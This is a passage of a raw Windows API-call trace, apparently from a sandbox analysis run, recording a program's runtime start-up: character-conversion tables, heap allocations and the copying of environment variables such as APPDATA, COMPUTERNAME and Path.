¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0034.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18f7f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x1e F\x874û\x18", lpUsedDefaultChar=0x0) returned 256 [0034.901] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.901] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x431d5b) returned 0x409ec9 [0034.969] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753e28) returned 0x80 [0034.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0034.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1f) returned 0x751140 [0034.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x751140, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0034.987] GetLastError () returned 0x0 [0034.987] SetLastError (dwErrCode=0x0) [0034.987] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x753eb0 [0034.987] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753eb0) returned 0x4 [0034.987] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753eb0, Size=0x8) returned 0x753eb0 [0034.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0034.987] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x36) returned 0x753ec0 [0034.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x753ec0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0034.987] GetLastError () returned 0x0 [0034.987] SetLastError (dwErrCode=0x0) [0034.987] GetLastError () returned 0x0 [0034.987] SetLastError (dwErrCode=0x0) [0034.987] GetLastError () returned 0x0 [0034.987] SetLastError (dwErrCode=0x0) [0034.993] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753eb0) returned 0x8 [0034.993] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753eb0, Size=0xc) returned 0x753f00 [0034.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0034.993] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x37) returned 0x753f18 [0034.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x753f18, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753f00) returned 0xc [0034.993] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753f00, Size=0x10) returned 0x753f00 [0034.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0034.993] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3c) returned 0x7457a8 [0034.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x7457a8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.993] GetLastError () returned 0x0 [0034.993] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753f00) returned 0x10 [0034.994] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753f00, Size=0x14) returned 0x753f58 [0034.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0034.994] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x31) returned 0x753f78 [0034.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x753f78, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] GetLastError () returned 0x0 [0034.994] SetLastError (dwErrCode=0x0) [0034.994] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753f58) returned 0x14 [0034.994] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753f58, Size=0x18) returned 0x753f58 [0034.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0034.994] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x17) returned 0x747888 [0034.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x747888, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0034.995] GetLastError () returned 0x0 [0034.995] SetLastError (dwErrCode=0x0) [0034.995] GetLastError () returned 0x0 [0034.995] SetLastError (dwErrCode=0x0) [0034.995] GetLastError () returned 0x0 [0034.995] SetLastError (dwErrCode=0x0) [0034.995] GetLastError () returned 0x0 [0034.995] SetLastError (dwErrCode=0x0) [0034.995] GetLastError () returned 0x0 [0034.995] SetLastError (dwErrCode=0x0) [0034.995] GetLastError () returned 0x0 [0034.995] SetLastError (dwErrCode=0x0) [0034.995] GetLastError () returned 0x0 [0034.995] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753f58) returned 0x18 [0034.995] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753f58, Size=0x1c) returned 0x753fb8 [0034.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0034.995] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x24) returned 0x74ccb0 [0034.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x74ccb0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0034.995] GetLastError () returned 0x0 [0034.995] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753fb8) returned 0x1c [0034.995] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753fb8, Size=0x20) returned 0x753fb8 [0034.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.995] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x14) returned 0x7478a8 [0034.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x7478a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0034.995] GetLastError () returned 0x0 [0034.995] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753fb8) returned 0x20 [0034.995] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753fb8, Size=0x24) returned 0x753fb8 [0034.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.995] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xd) returned 0x7508c8 [0034.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x7508c8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0034.995] GetLastError () returned 0x0 [0034.995] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753fb8) returned 0x24 [0034.995] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753fb8, Size=0x28) returned 0x753fb8 [0034.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0034.996] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x25) returned 0x74cce0 [0034.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x74cce0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0034.996] GetLastError () returned 0x0 [0034.996] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x753fb8) returned 0x28 [0034.996] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x753fb8, Size=0x2c) returned 0x752a90 [0034.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0034.996] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x39) returned 0x7457f0 [0034.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x7457f0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0034.996] GetLastError () returned 0x0 [0034.996] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752a90) returned 0x2c [0034.996] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752a90, Size=0x30) returned 0x752a90 [0034.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0034.996] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x18) returned 0x7478c8 [0034.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x7478c8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0034.996] GetLastError () returned 0x0 [0034.996] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752a90) returned 0x30 [0034.996] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752a90, Size=0x34) returned 0x752a90 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0034.997] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x17) returned 0x7478e8 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x7478e8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0034.997] GetLastError () returned 0x0 [0034.997] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752a90) returned 0x34 [0034.997] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752a90, Size=0x38) returned 0x752a90 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0034.997] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xe) returned 0x7508e0 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x7508e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0034.997] GetLastError () returned 0x0 [0034.997] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752a90) returned 0x38 [0034.997] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752a90, Size=0x3c) returned 0x752a90 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0034.997] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x69) returned 0x752ad8 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x752ad8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0034.997] GetLastError () returned 0x0 [0034.997] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752a90) returned 0x3c [0034.997] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752a90, Size=0x40) returned 0x752a90 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0034.997] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3e) returned 0x745838 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x745838, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0034.997] GetLastError () returned 0x0 [0034.997] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752a90) returned 0x40 [0034.997] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752a90, Size=0x44) returned 0x752b50 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0034.997] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1b) returned 0x751168 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x751168, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0034.997] GetLastError () returned 0x0 [0034.997] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x44 [0034.997] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x48) returned 0x752b50 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0034.997] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1d) returned 0x751190 [0034.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x751190, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0034.997] GetLastError () returned 0x0 [0034.997] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x48 [0034.997] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x4c) returned 0x752b50 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0034.998] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x48) returned 0x749050 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x749050, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0034.998] GetLastError () returned 0x0 [0034.998] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x4c [0034.998] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x752b50, Size=0x50) returned 0x752b50 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0034.998] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x12) returned 0x747908 [0034.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x747908, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0034.998] GetLastError () returned 0x0 [0034.998] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x752b50) returned 0x50 [0034.998] 